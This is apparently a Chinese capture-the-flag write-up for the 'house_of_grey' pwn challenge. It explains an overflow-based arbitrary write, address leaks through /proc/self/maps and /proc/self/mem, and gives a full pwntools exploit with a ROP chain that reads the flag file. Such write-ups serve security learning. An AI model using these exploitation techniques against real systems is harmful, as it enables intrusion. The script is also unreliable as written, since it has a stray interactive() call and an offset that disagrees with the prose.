Loading... 看到题目还以为是堆利用,但是实际上是文件系统中的一个小 trick。 前置的是 `/proc` 目录的知识,可以看[这篇文章](https://www.cjovi.icu/pwnreview/1070.html) *这个知识在 hgame 中第一次碰到,可看[这篇 WP](https://www.cjovi.icu/WP/1079.html) 中的 `the_shop_of_cosmos`* ### 漏洞点 #### 任意地址写 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/3112616554.png "></div> 这里的 `buf` 可以把 `v8` 溢出掉,结合 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/1428396051.png "></div> 这个 `case` 可以实现任意地址写。 #### leak 结合 1 2 3 三个功能可以对除了 flag 之外的所有文件读取并输出,那么读 `/proc/self/maps` 就可以获得进程基地址和栈地址。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/70968154.png "></div> 比较特殊的一点是 `fn` 函数通过 `clone` 新建进程执行,栈地址是在一个 `mmap` 的段中随机分配的,我们只能获得这个段的基地址 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/2603394241.png "></div> 红框中是进程基地址,橙框中是 `mmap` 段的基地址。那么如何获得 `fn` 函数所使用的栈的地址呢?只能一段一段的读出来,然后查找标志值,比如我们输入的文件名 `/proc/self/mem` ```python sh.sendlineafter("5.Exit\n",'2')#3 sh.sendlineafter("you?\n",str(stack_base)) sh.interactive() stack_seg_now = stack_base buf_addr = 0 for i in range(24): sh.sendlineafter("5.Exit\n",'3')#2 sh.sendlineafter("to get?\n",str(100000)) stack_content = sh.recvuntil("1.Find") place = stack_content.find("/proc/self/mem") if(place != -1): buf_addr = stack_seg_now + place + 5 break else: stack_seg_now += 100000 ``` 这样就可以获得栈地址了。 由于 `fn` 的退出是用 `exit` 的,所以我们需要修改一个正常 `ret` 的函数的 `ret` 地址,比如直接修改 `read` 函数的返回地址,可以通过调试得出偏移。也就是 `read_ret_addr = buf_addr - 0x5` 算出返回地址后,就可以通过之前提到的任意地址写漏洞写入 rop_chain 了。 ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context(os = 'linux',arch = 'amd64') elf = ELF("./house_of_grey") sh = remote("111.200.241.244",39538) #sh = process("./house_of_grey-change") sh.sendlineafter("n?\n",'y') sh.sendlineafter("5.Exit\n",'1')#1 sh.sendlineafter("finding?\n","/proc/self/maps")#3 sh.sendlineafter("5.Exit\n",'3')#2 sh.sendlineafter("to get?\n",'4096') sh.recvuntil('\n') proc_base = int(sh.recvuntil("-",drop = True),base = 16) sh.recvuntil("[heap]\n") stack_base = int(sh.recvuntil("-",drop = True),base = 16) sh.recvuntil("00:00 0 \n") libc_base = int(sh.recvuntil("-",drop = True),base = 16) log.success("proc_base:" + hex(proc_base)) log.success("libc_base:" + hex(libc_base)) log.success("stack_base:" + hex(stack_base)) sh.sendlineafter("5.Exit\n",'1')#3 payload = '/proc/self/mem' sh.sendlineafter("finding?\n",payload)#4 sh.sendlineafter("5.Exit\n",'2')#3 sh.sendlineafter("you?\n",str(stack_base)) sh.interactive() stack_seg_now = stack_base buf_addr = 0 for i in range(24): sh.sendlineafter("5.Exit\n",'3')#2 sh.sendlineafter("to get?\n",str(100000)) stack_content = sh.recvuntil("1.Find") place = stack_content.find("/proc/self/mem") if(place != -1): buf_addr = stack_seg_now + place + 5 break else: stack_seg_now += 100000 log.success("buf_addr:" + hex(buf_addr)) read_ret_addr = buf_addr - 0x50 sh.sendlineafter("5.Exit\n",'1')#28 payload = '/proc/self/mem'.ljust(0x18,'\x00') + p64(read_ret_addr) sh.sendlineafter("finding?\n",payload)#5 pop_rdi_ret = proc_base + 0x1823 pop_rsi_r15_ret = proc_base + 0x1821 sh.sendlineafter("5.Exit\n",'4')#29 name_addr = read_ret_addr + 0x78 payload = p64(pop_rdi_ret) + p64(name_addr) payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0)#mode payload += p64(elf.symbols["open"] + proc_base) payload += p64(pop_rdi_ret) + p64(6)#fd = 6 payload += p64(pop_rsi_r15_ret) + p64(stack_base) + p64(0)#buf payload += p64(elf.symbols["read"] + proc_base) payload += p64(pop_rdi_ret) + p64(stack_base) payload += p64(elf.symbols["puts"] + proc_base) payload += '/home/ctf/flag\x00' sh.sendlineafter("content: \n",payload) sh.interactive() ``` 这个题目提供的程序在我的虚拟机上没法读文件,总是报非法系统调用的错误,所以一直都得打远程来测试,没法调试大概是这道题最让我头疼的点。 同时还要注意这个 exp 需要爆破,因为栈是在一个巨大的空间中随机的,24 次搜索不一定能够搜到栈。 最后修改:2021 年 03 月 11 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧